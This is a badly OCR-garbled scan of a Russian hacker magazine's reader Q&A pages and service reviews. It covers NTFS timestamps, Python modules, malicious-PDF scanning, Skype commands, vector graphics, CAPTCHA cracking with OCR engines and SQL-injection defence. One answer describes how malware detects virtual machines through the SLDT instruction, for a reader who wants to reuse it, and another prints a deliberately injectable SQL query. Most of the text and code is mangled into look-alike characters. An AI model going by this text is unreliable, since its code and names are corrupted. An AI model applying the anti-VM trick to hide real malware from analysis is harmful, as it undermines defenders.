то' возмохно, читает нашу переписку' где мь!
го вори м о л ич н ом... [еть заби рает на шу хиз н ь'
превращая ее в очередную матрицу.
Ёа са мом деле ' есл и ть! н ауч и ш ься и грать
смь:слами' тебе не нухнь] навь1ки красноречия,
- и но гда м и ро возз рен ие мохн о сломать одн и м
продуманнь!м и вовремя сказаннь!м словом.
8 заклточение
|1ерная риторика - это не просто набор прие-
мов' применяя которь!е' ть1 смохешь убедить
['1 а пу Ри мского п ри йти на венери н ку к сата н и -
стам.3то опь;т, приобретеннь:й методом проб и
ошибок; нухно чувствование собеседника, ви-
дение его слабь!х и сильнь!х мест' уязвимостей
мировоззрения' нухен развить:й интеллек!'
трен ировка, оттачивание мастерства. 9тобьт
с'1а гь мастером слова и мь!сли' нитай литера-
црудля хурналистов' РР-щиков [особенно
нернь:й РР' Антон 8уйма), книги по искусству
убехдения' смотри фильмь: и запоминай наи-
более понрави вшиеся амортиза ции, бери их
на воорухение' 14 какдь:йдень реализуй это на
п ра кти ке. ['1 ри та ком подходе успех постепен но
придет. Аеще нитай 1[ - у многих авторов мохно
поучиться красноречию :].т
) 1з9
BemeP34 for Journal-plaza.net
Антон (ап1) ху(ов
!
ь
!
[а0@геа]ха]сергш
шппе0
о: крис касперски в свое время пРиводил
дельнь:й спосо6 урезать \а!/!п6ошз - удалить
все файльг,укоторь!хдата и время о6ращения к
ним не отличаются отдать| установки системь!.
9 попь:тался написать прогу' которая делала бь|
это автоматически, но, какоказалось' извлечь
1|А6 [йоЁ!!!еЁ'Ассе55, апЁ сьап9е| _ нетакая
тривиальная задача. 06ычнь|е функции для
управления файлами сэтим справиться не могп.
(ак6ь;ть?
А: Ёсли те6я не переполняетхелание ковь!-
ряться ста6лицей йР] и ее структурами [а
там есть подводнь!е камни, поверь мне), то
лучше в качестве помощника использовать
утил иту пас-гоББег [шшш.з[еш(Б [!1.о г9).
1улза пас-гоббег четко занимается тем, что
счить!вает атрибут йА₠ для всех файлов в
системе. (томухе она написана автором из-
вестного на6ора прилохений 1Бе 5[ец{Б (!1
[]5(), предназначеннь!х для самого подро6-
ного изучения хесткого диска. 0ни те6е тохе
пригодятся: если все хе захочешь поковь'-
ряться с йЁ[, то для луншего понимания хо-
рошо бы сначала пора6отать со структуриро-
ваннь!ми отчетами, которьгй подготовят 15(
> 14о
и п ро га Рго0!эсотег [тмуууу. {е с Б ра {[шауз. со п/
0е5к|ор0е[ац[|.а5рх?1аь|паех=з&1аь.6=1 2].
@: !(ак проще всего установить модуль к
т|ьоп'у?
А:.[ля того, что6ьп скачать, собрать, устано-
витьили обновить модули, есть специальнь:й
инструмент 5е!0р{оо[э. Ёеобходимь|е инструк-
ции и файль:-инсталляторь! для разн ь:х 06 ть:
всегда найдешь на сайте рур!.ру1Боп.ог9/руо!/
5е{цр|оо[5. [1од виндой подключения нового
модуля к и нтерп ретатору вь! глядит следующи м
о6разом:
1. [1осле установки зе1шр1оо[э в папке со сце-
нариями утебя появляется скрипт еаэу_!пз(а[[,
а такхе его скомпилированная версия в виде
ехе'шника. !!азвание говорит само за себя -
решение используется для простой инсталля-
ции новь!х модулей.3то как менедхер пакетов
для системь!.
2. [ этого момента любой модульустанав-
ливается простой командой через консоль:
еазу_!пэ1а[[ [название модуля1. 8 этом слунае
все нео6ходимь:е файль: заканиваются из репо_
зитория. [1омимо этого, мохно указать ссь!лку
на архив и/или е99 - па кет [специал ьн ьп й формат
для библ иотек Ру1[оп) с модулем:
еа5у-1п$са11 ехапр1е. соп/рась / со /
муРаска9е_1.2,з.с92.
0: (ак проще всего определить' что Р9Р-файл
заражен' не заморачиваясь с хитрь|ми гилита-
ми' которь!е недаютчеткого ответа' а вь|плевь!-
вают промехгочную информацию для анализа
специалистом. хочу простого ответа _ заражен
файл или нет.
А: 6амь:й простой инструмент в этом плане
_ рилита Р0Ё 5саппег [б[о9з.оаге1о[о9|с.
соп/па[шаге6]аг!ез/6| Р0[ 5саппег:!о]. Ёа
вход ей подается документ в формате Р0Б, а на
вь!ходе она вь!дает один из трех вердиктов:
1. "по|Б!п9 {оцп6" [файл чист);
2. "ро{еп{!а[ г!в}< _..)ама5сг!р{ со69> |в файле
есть -) 5- в ста в ки, кото рь: е м о гд б ь;ть о п а с н ь: ] ;
3. "зцзр!с!оцз !|[е" [файл содерхит опаснь!е
вставки' используемь!е, как правило' малва-
рью). Ёсли есть хелание поэкспериментиро-
вать' попробуй скормить программе пару<пло-
хих" фа йлов с за рахеннь!х доменов из сп иска,
х^квР 08 /1 з9, ',! 0
BemeP34 for Journal-plaza.net
обновляемого на сайтах гпа[ша ге6огпа! п[!51.
согп и гп6[.раге1о[о9!с.согп.
0: !-оворя1 в яате 5[уре есть командь! а-ля !пс.
1акли это?
А: Ёа самом деле яат в 5|уре - это почти тот хе
самь:й !Р6-канал. йногие средства для управ-
ления каналом реализовань! в самом 0[..][-ин-
терфейсе' но некоторь!е вещи мохно сделать
только с помощью специальнь!х команд. Ёихе
- наиболее вахнь!е из них:
/аос [ш5етпапе] -добавитьпользователя
09егпа|те к чац
/1еауе -покингьчат.
/|ор|с [сехв] -установитьтопикканала.
/9ес 9ц1ае1'пе5 - просмотртак назь!ваемь!х
9о!6е[!пе'ов' то есть правил чата
/]<|с}с [шзетпапе] - удаление пользователя
из чата.
/]<{с]<бап [цэетпапе] со6ственно,&!с[и
6ан'
/ 3е[ и / 3е[ ьап1'5с - управление списком
пользователей, которь!м запрещено присоеди_
няться к чату.
/эес и /9ес а11ош1|з| -управлением
списком пользователей, которь:м разрешено
присоединяться к чац
/5е[го1е [ш5егпапе] мА5твР 1 т}5вР !
[_|5тБпБв - установка определенной роли для
пол ьзователя.
['1оследняя команда требует пояснен ия: что озна-
нают роли в 5[<уре? ₠&ЁА10Р и йА5]Б8 - это что-
то вроде модераторов. [!5ЁР - самь:й о6ь:чнь;й
пользова]ельчата. |!51Ё\ЁР - юзер' которь й
участвует в чате в рехи ме <тол ько чтение>.
0: 8о многих местах стал встречать векторнь|е
графики и рисунки' которь!е 3дорово вь!глядят
и при этом создань: 6ез применения Ё[азБ- и
5!]уег[!0ь{-технологий. 8се, нто используется _
.'ауа5сг!р1. но неужели все это пишется с нуля?
А: 6пециально для того, нтобь: упростить работу
с векторной графикой, разработан приятнь:й
фреймворк РарБае[ [гарБае[]з.согп). Разработ-
ка учить!вает рекомендации !!36 по формац
5!0. а та кхе ис пол ьзуе ! с 'а нда ртизи рова н н ь' й
!ес|ог \4'аг[шр |ап9оа9е [язь:к векторной раз-
метки]. 3то означает, что любой графинеский
объект' созданнь:й с помощью РарБае[, являет-
ся привь!чнь!м 00й-объектом. 1ь! мохешь
легко обра щаться к не му из л юбо го -)ама5сг! р1-
сценария' назнанать обработки собь:тий -
короче говоря' без проблем использовать его.
!ля примера создадим на странице окрухность
красного цвета:
// ₠оздаем полотно для рисунка з20 х
200 в начальной точке с координатами
10, 50
уаг рарег = Рарьае1 (10, 50, 320,
2оо);
/ / Рисуе1ч на полотне окружность в х,у
= (50, 40) и ради1:сом = 10
уаг с|тс1е = рарег-с|гс1е(50, 40,
10);
/ / 3аливаетл окружность краснь]м (цве-
хАкЁР 08 /1 з9, 1 0
] воро.!
о 6ь Ааа
!) сф{ше &А!6!пФе
8 !м9е гъ
Ф 0!*.
} вмв
6 о ф.**уф
@|щз
сэ 0ьк!
6 е вФ1е 01!у6
в ₠, \\1 921 6&1 0оз0[Р1у.!}р'!ю0
в₠п
в о -!!66ф-
о0зфп
о Ё 0оамзиа5а:;щ
@ Ё :впрь
о Ё Р.о9ф г!|ц
в о в₠с/с!_Ёв
в п 5Б|фуы@!п1Фп*|ф
в0тш
в о ишшт
:;; Ё 0"ь:"аг!ь.
?а !йф.5
сэ 0ьк$
о ₠ веф|е 0фез
Фмеш!-Ф
,| $еыф
Ё@
5ф{ь 51ор
е
ф
пь|Ф
д
Р!| с
$₠фше:'505
$|.''фа$е
аа6!
'ос6!мр
Ашт0вх]вс
ьф1
Ф}{г!6
ььап
!Ф!0!!@
!0
м5005
пт0Ёт₠ст
п0а|
271555 щ.3
1з1072 ые$
0 ьу|е5
118Ф2 ь{ф
1@16ь{ф
0 ф!е3
18Бф1Ф
0 ф1в
1 зз712582 ь..'
звФ ф{е5
0 ьу{6
0фсв
з4168 ьяФ
214416 ф1е.
-.А05- н0
___мЁтА... н0
_.м₠тА- |]0
--.а3ь. ш0
....3 ь, }|о
...__ь. }10
....з ь. ш0
.....ь- }|0
...а 3 ь. }!0
...а..| }|0
...а. ь. }10
...а5ь! к0
....3ь' ш0
-.-а3ь1 }]0
..-.3 ь. х0
вАт
й!
5у5
5у5
5у5
с0м
йощнь:й инструментдля детально изучения информации на н00
тот'т *!00)
с!гс]е.ас|'г('!|11', ''#' 00'' ) ;
Ёи на грамм не слбхнее создать с помощью
РарБае[любуюдруцю фицру' а потом манипу-
лировать ею. [толь простой подход позволяет,
например' реализовать красивь!е динамичес-
кие : рафики и диаграммь ' используя чисть|й
!ама5сг1р| в той о6ласти, где традиционно
использовался [[аьБ. 3то общий тренд !ехно-
логии Ё1\4[5.
0: йо;<но ли по РсАР-дампу с отснифаннь:м в
локалке трафиком построить схемулокальной
сети?
А: Ёсл и рен ь идет о слохной сети ' то ' ве ро'
ятнее всего - нет. Ёо эти даннь!е моцт стать
отлинной отправной тонкой для анализа.
[1о крайней мере' они содерхатданнь!е о
валиднь1х диапазонах !Р-адресов. (стати' авто_
матизировать сбор даннь!х о локальной сети'
имея дамп с трафиком' умеет перловь;й скрипт
пиагпа р [ пшгпа о. эо ш гсе{о г9 е' п е{).,[ля ра 6оть:
ему потре6уется установленнь;й сканер \гпар и
сниффер }эБаг|<.
0:,[ано: егпбе60е6-девайс' которь:й надо пе-
репрошить. [1о идее' мохно кинрь на флешку
файл с прошивкой и вставить его в [!5Б-разъем
устрой ства. 0дна ко дева йс ее поч ему-то не ви -
дит. ['1ервая мь:сль - флешка на \|[5, поэтому'
наверное' и не мохет прочитаться. |о' отфор-
матировав в РА1 с помощью виндь1' я так ничего
не до6ился. Ёсть идеи, как решить про6лему?
А; !корее всего, девайс понимаеттолько [А[/
ЁА-[32. !]тобь: пра вил ьно отформатировать
флешку, насто недостаточно встроенного в
ви нду' А вот кто точ но сп ра в ится - это лил ить!
! Р |...]58 0|з}< 5{ога9е Ёоггпа{ [оо[ или РЁ2|]58.\
них нетдомашних страниц' но бинарники легко
ищдся нерез 0оо9[е.
0:3кспериментируя с малварью| уперся втупик.
[ело загрузника определяет' что запущено
в вирцальном окружении [я юзаю !1',!тшаге
шогк5[а|!оп| и не заражает систему. меня
интересует методика. [овутак:ке использовать
подо6нь!е механизмь! в своих разра6отках.
Ёсть ли конкретнь!е рецепть!| как определить
пРисутствие вирцалки?
Аз йногие загрузчики проверяют, вь!полняются
ли они в среде вирцальной машинь!' просто
счить!вая содерхимое регистра |0-[Р' 8 нем
содерхится селектор сегмента' в котор0м рас-
полагается локальная таблица дескри пторов
сегмента' необходимая для вь:числения линей-
ного адреса из парь! <селектор сегмента - сме_
щение>. 6ама \{!п6оииз давно не использует
локальнь:е та6лиць! дескрипторов сегментов'
и поэтому заполняет регистр |0[Ё нулевь:м
значением. А вот вирцальнь!е маши н ь! ' в том
числе !\4тмаге - используют' ['1олунается сов-
сем простая проверка: естьзначение регистра
|01Р' отличное от нуля' значит, вь!полнение
процесса осуществляется в вирцальном
окрухении. (томухе для получения значения
регистра используется инструкция 5|0-| {5{оге
|оса[ 0езсг!р{ог1аБ|е Ре9!з{ег}' которая не
являе!ся привилегированной и гоэтому мохет
бь:ть вь:полнена в г!п9-3 любь:м прилохением.
Резюме вь:шесказа н ного: для определения
вирцалки програ мме достаточно вь!звать
инструкцию 5|0[ и посмотреть' отличается ли
полученное значение от нуля.
0: 3аметил следующий факт: многие самодель-
нь!е сАРтснА соверщенно нечитаемь:. А6со-
лютно непонятно, какой конкретно изо6ра:кен
т0. <₠0
г-|_-гг-г
> 141
BemeP34 for Journal-plaza.net
|] ш!ы
]
]
символ: толи это [, толи 1, то ли !. получается'
разра6ать!вая свою капчи лучще воо6ще вовре-
мя исключить эти символь!?
0: 3а основу лунше всего взять следующий
диапазон символов: [А-7][а-а][0-9] и дальше
исключать из него про6лемнь:е элементь!.
й ногое за в исит от ал го ритма и ' в частности,
от используемого шрифта : он мохет бь:ть с
засечками или6езних, и это сильно повлияет
на читаемость' |лавная проблема в том, что
после деформаций, искахений и накладь!ва-
ния шумов многие буквь: слохно однозначно
идентифицировать. Ёапример:
..[,, <'1>'' <<!>> - все символь! слишком похохи
друг на друга;
.<<ш>>, <<ш>> _<<ш>) очень просго спшатьс <р> или <<уи>;
. ,.0'>'<.0>>, <<0> - очень похохи, особенно если
на капне добавляются шумь!;
.,,9,, *9, - практически один символ' особен-
но последеформации;
...3>',.,8'' - моцгбь:ть спрань:другсдругом и <8";
..4', - часто похоха на.,А,;
.<5> _ при наклоне неотличим от <5>>;
о<<|>> - после наклона мохет бь|ть спуган с <<у>;
..<г', - мохет бь1ть перепган с <<п>>;
.<<ь> _ после скручивания похохе на <<п>);
.,<!'', у'',.,у'' - часто неотличимь! после
деформаций.
Ёо дахе если вообще исключить эти си м-
воль!' построить надехную капну более нем
возмохно'
0: },;!не очень понравилась ваща статья про взлом
сАРтснА. но все-таки' если не писать самому
нейронную сеть и не о6учать ее' не реали-
зовь!вать сложнь|е алгоРитмь|' ковь!ряясь в
премудростях осР, естьли какие-ни6удь движки
д'!я распознавания' которь!е могли 6ь! помочь во
взломе сАРтснА?
А: 11о большому счец, нухно то хе самое, что
и для оцифровки обь:чного текста' то есть эф-
фективное 06Р-решение. технологий' которь:е
открь|ть!, 6есплатнь: и при этом дахе работают,
не так много.
6осп 1щсдээддсефсоеде!) - предельно прос_
той и открь:ть:й 06Р-пакет, которому не нухно
> 142
обун ен ие. Работа ет очен ь бь! стро, но не та к
точ но, ка к другие 6олее сл охн ь:е дв ихки.
[евзегас[ {со6е. _ооо9 [е. согп/р/{еззе гас[ ос г)
- другой 6есплатнь:й 0[Р-двихок' которь:й
разрабатьпвался компанией [{Р с '! 985 по '] 995
год. !ля того, нтобь: нанать распознавание,
потребуется более слохная настройка, но и
результат 6удет намного точнее, чем у 00[Р.
осгорц5 {со6 е'9оо9 [е. со гп/р/осгор{.] 5] - а это
уже основанная на 1еззегас1 система для рас-
познавания !екста' но отлюбимого и одновре-
менно нелюбимого 6оо9[е :). 0роект еще моло-
дой' но ухе сейнас легко интегрируемь:й в своих
решениях' которьпй онень неплохо работают.
6а пега [ [6 р. [ : б га гу.] б ш. е6 ш/ о го] е с г з/9 а гп е га ) -
это не простодвихок, а цель:й фреймворкдля
написан ия систем эффективного распознава-
ния слохн ь:х образов [в том числе 6АР]6ЁА|'
которь:й неслохно заставить работать.
0: [!одскажи простой, но надежнь!й спосо6 защи-
титься от 5о[-инъекций.
А: 0дин из самь;х эффективнь:х способов (ну кро-
м е тол ко вой гол о в ь! п ро гра м м и ста] я вл я ются та к
назь:ваемь;е файерволь: дя веб-прилохений. !
нас 6ь:л подро6нь;й материал о ![АБ в одном из
номеров ] [ [шшш.ха }<.ео. гш7гпа9а:! пе/ха/] 30/056/1 .
е5р]. Ёо если говорить о надехном и' в то)ке
время, простом способе у6ерень свои разработ_
ки от50|-инъекций, то следуетотметить прием
[п|егро[!ч ше. Ёе так да вно он бьгл п редставлен
.[еном (аминским, который стал известен после
о6нарркен ия серьезной уязвимости в техноло-
гии 0\5. Ф6щая идея !п!егро[!чше заключается в
том, ятобь; п ри передаче пользовател ьских дан-
нь:х в запросе к [!Б! фицрировали не открь!ть!е
даннь:е, а зашифрованная в базе64 строка.
!]то это дает? 0чен ь п росто - в хеше строки по
умолчанию отсугствуютспециальнь!е символь|,
которь!е моуг п ри вести к инъекци и. !то бь:
хакер ни передавал, в запросе будет валидная
строковая переменная',!ля примера посмотРим
на самь;й простейший запрос:
$сопп_>чцету("9е1ес! * {топ саь1е
'льеге {папе=^^ { папе; '' ) ;
!опустим' нто программист- полнь:й олух и никак
не фил ьтрует и не экранируетзначение ${папе.
1аким образом, имеем стандартную уязвимость
50| ! п1ес1|оп. !о если использовать прием
!п{егро[!чше, то дахе при таком раскладе у атакую-
щего ничего не вь:йдет [1осмотрим понему:
$сопп_>9ше4л (еуа1 (5 (' 5е1ес! * {топ
саь1е шьеге !папе=^^{папе; ') ) ) ;
3десь фун кция б - это фун кция -обертка для
подстановки операций Базе64-кодирования
для переменнь!х, отмеченнь!х символами "".
|осле неслохнь;х преобразований к базе дан-
нь:х формируется следующий запрос:
3е1есе * |топ [аь1е шиете
{папе=б64ё('уеь. . . . . ='' )
3десь-то и видна самая главная фишка этого
приема. (акое бь: значение не 6ь!ло у перемен-
ной 1пагпе [дахе если оно никак не фильтрует-
ся' и хакерцда поставил спецсимвольп], при
обращении к 6!Б! она всегда 6удет представ_
лена безобидной строкой-хешем, а значит, воз-
мохность инъекции исклюнена. 0ригинальная
презентация отавтора подхода с более подроб-
нь!м описанием досцпна на шшш.зсг1б6'соп/
6 ос73300 ] 026/! п|егоо|]о ое. 0ттуда, в настности,
мохно почерпнгь функции для обработки строк
Базе64 в !т/у50|. 8 другой популярной [!Б.[ _
Роэ19ге50| - поддерхка базе64 реализована
нерез штатнь:е функции епсо6е/6есо6е.
0з {тотакое 5Ё5Ё, если говорить о6 !Р[опе/!Ра6'
и почему рекомендуютего сохранять? как это
сделать?
Аз Арр[е - это онень умная ком па н ия, которая ду-
мает нетолько о канестве своей продукции' но и о
том ' ка к ее за щитить. /1 юбой дева йс мохно обно_
вить' но п ри этом по умолчан и ю нет возмохности
вернль прошивку назад. 3то мохет сь!грать злую
шугку' если в новой {!гпшагеАрр[е реализует
какую-нибудь хитрую защиц' предотвратив воз-
мохность сделать..]а![бгеа [< [досцп к системнь! м
файлам и полная сво6ода действия на устройст-
ве]. [1 ри попь:тке п рош ить ! РБопе, | Ро6 1оцсБ или
!Ра0' программа !1шпез о6ращается на сервер
компании Арр[е, передавая так назь:ваемь:й
номер Ё[!0 [уникальнь:й идентификатор чипа
девайса! и номертекущей прошивки. 6ервер в
свою очередь отпра вляет в отчеттот сам ьпй 5Ё5Ё
- специальнь:й идентификатор для модуля
! 8оо1' которь: й отвечает за за грузку устройства. 8
за висимости от идентифи катора ! 8оо1 л ибо раз_
решает прошитьдевайс' либо не разрешает [ак
занем нухно 6экапить 5!5Ё? Резон есть: какую
6ь: новую защиц не придумала Арр[е, отклюнив
возмохностьдо6раться до системнь;х файлов
дева йса {то есть сделать..]а|[бгеа [], пользователь
всегда мохет откатить прош и вку до той верси и,
где та кая возмохность имеется. ! о это возмохно
только в том случае' если у него есть правильнь:й
5Ё5Ё, которь:й когда-то бь;л вь:дан Арр[е. ₠де-
лать бэкап 5Ё5Ё позволяетугил ита 1!пу!! п6ге[[а
[!Бе[! ггптма геш гп Бге[[а. б[оозро|.соп ].[
[1родвинутая векторная графика на чистом )ама5сг!р1
хАк₠Р 08 /1 з9/ 1 0
BemeP34 for Journal-plaza.net
с:{5х
5Б=ы
Ё';з5
}']'о,х
^
!д.] = со
<Ёх
чБн
со^|г
чд<
\'Ё*
5>
\х
д
(,
щ
:Ё
х
с_)
-с! -
!-=
о-
=><
=3Ф!+-
Ф<(=
ч;-
9 с_а><
йЁт
=!д=
:-о1
-о--
<ЁдЁ!
}д]
==
о!]
- (-)
Ё'=
->
{о
о3с-:
оде'
=о4
Рсэ[
!-=;
Ё>т
- с!=
Ё==
*
|д:=
=Ё=
=аа
.->
-*-
<#Б
!=е'
<-,
*1,
-|Ё
!
1
1
-1 ₠
Ёд
;!
Ё|
-!
#
о
ь
и
э
Ё
.
)=
о
Ф
#
*
*
рч
цн
_о
Ё?
();
!лх
*Ё
1Ё
тц!'=
!ш Ё
;4.
:д |
1т]='
г'1Ё
*
'
1|
*ЁЁЁ *1Ё
Ё
-
;
.3.
11
1-
1 ;ч]
- 141
: э н1Ё!з
Ё : э:!в
# ё;чЁЁ
,11
ЁнЁЁ*9;
-!
е1
вЁ
=ё
-в
Ёа
!
|
1-1
161
ф1 ь]
Б|=!
ч;
Ё;ч
,!| -
е] 3
3Ё
Ё1
*{
1
1
1:
_}-:
Ё:,Ё
я=Б
BemeP34 for Journal-plaza.net
($у
]
-
\
3- $сгееп
ноле |я(о.6 | тф.| 3ср |5]п о0! 59п п
шпа| ]5 5огееп]е!!у?
$офщ ],есо1о5 !.],5...п а.|! 1!
!5! 11о п!ск!1 5|а|. (.]'].];|5.'
5оп'а..1р3 ..ропа п|4 .:|];: з!0::
то ы!!( (осо,6 п0 .!!.( о: []! 1сё 0л(]э
,]. п0с0 !) пы;;' о] |о:|]]].']4,!1|1] г]!
!Р аа0ге55 соцп1гу ь!оск оепега{ог
тье [!' о! р аёа'е59 ьу со!п|0 м!о* Б а 9.о!рп9 ы]р ьу соцп!т апо с]0п о'00'6а1аьаБ₠
аа1а ьа5 о!е'99 59; ассц,асу опэсо0п!тьа55 тьеза1а5а9е |5 !фа!е6 попь!у
5!ор 1 : 5ё|ё.11ье оц!Рц| !Ре
5]бде |51 в
5|ёр 2:5ё!₠с!оп. о.по.. со!пт!.э (пах 20| иоФ !ье !!5(
(
й
!|уо! ц9в!ьъ 9в'!сё оп. '₠о!!'.ь$ь' Р!е'* сопэ|а6' паи|п! а 6ола||оп.
п!сь'!р.ос|!|ва!па!ьоуь.!р0эрау'о.ехРл*аэ*;.!эа!1ь6о006₠
*
ъ
5спЁЁш.'Б[[у
шшш.5сгее п]е [[у. со гп
3 одной из рубрикшшш2 мь! рассказь!вали о замечательном сервисе
5сгееп1оаз[е:' позволяющем прямо из 6раузера записать скринкаст и
разместить на специальном хостинге в [ети. (сохалению' 3] июля он
прекращает свое существование. |адо сказать' что сервисов с аналогич
нь!ми возмохностями теперь д0вольно много' но если искать альтернати-
ву' то я бь;' 6езусловно, вь;брал 5сгееп]е[[у' 3а все врепзя я ухе ус'пел запи-
сать сдесяток скринкастов с отличнь м качеством из \:!!п6ошз и \4ас 05 [
с безупречно налохенной голосовой дорохкой' записанной с микрофона
:|
|Р|шг00в
иишьм.:р!п{о0б.согп
[1о большому снец, ! Р!п|о08 - это ехемесячно обновляемая база диапа-
зонов ! Р-адресов' привязаннь!х к разнь м странам. !ругими словами, тд
мохно бь стро посмотреть, какой стране пр{1надлехиттот или иной !Р. Ёо
это все ерунда; главное' что внутри сервиса есть несколько встроеннь!х
инструментовдля генерации правил файервола и 'п{ассе55' с помощью
которь!х мохно заблокироватьдосцп к серверу по географинескому
признаку. Ёсли нухно бь:стро отразить напль:в ботов из (итая или откуда_
либо еце э!о очеЁь \ороший помощни*
]
;]!
\)
{>
\у
'Ёъ'
фновп.кн!й 1ёхб о фо.о коипь6|е9а
л]е-о.фо.з0: орэпс6!сю
о о= п!._6|фоп.ф|е.о0 5р1|0!л.50
опо].@п|; |.п(Ф6у100
;,'
!;. |..
|с0ш5ЁАпсн
!
шшш.!соп5еагсп.г!.]
..!елаем поиск иконок проще>, - гласитлейбл на главной странице
!соп5еагсБ'а. 7] не обмань;вает. ['1о сути' это сервис для поиска картинок
похохий на тот, что есть у 0оо9[е и 9ндекса, но предназнаненнь:й
специально для нахохдения иконок. Ёабираешь слово "(орзина"' и в
результате полунаешь 51 9 различнь!х вариантов привь:нного образа.
Бсего в системе сейчас 133673 иконок' ['1ринем это не крадень;е изобра-
хения: все представленнь е Р\0-файль: распространяются подлицен-
зиями, позволяющими бесплатно использовать их' правда' в некоторь!х
случаях с ограничениями.
> 144
!ля поиска иконок
5ушс.|ш
и/шш.5упс.!п
Ёще одним замечательнь!м сервисом' которь:й прекратил свое существо-
вание в этом году' стал онлайн-редактор Ё|Бегра6' позволяющий несьоль-
ким людям одновременно ра6отать с одним и тем хе текстом. Фишка в том,
что изменения пользователей отобрахались кахдому из них в реальном
времени. (омпания 0оо9[е' купившая сервис, прикрь!ла его' реализовав
его функциональность в 6оо9[е 0осз и 0оо9[е \А/аме. Ёо привь:нной про-
стоть! не хватает| ( счастью, сейчас семимильнь!ми шагами развивается
полнь:й клон Ё{}-:егра6'а - сервис 5упс.!п..[ля нанала работь: достатонно
нахать "[геа[е а ршб[!с по{е" и поделиться ссь;лкой (например, ьу;;с. т:;'
т:::|трсо((А) с нухнь!ми людьми.
хАк₠Р 08 /]з9/ 10
BemeP34 for Journal-plaza.net
Автор
unnotigkeit
Документ
Категория
Журналы и газеты
Просмотров
2 076
Размер файла
92 584 Кб
Теги
2010, xakep
1/--страниц
Пожаловаться на содержимое документа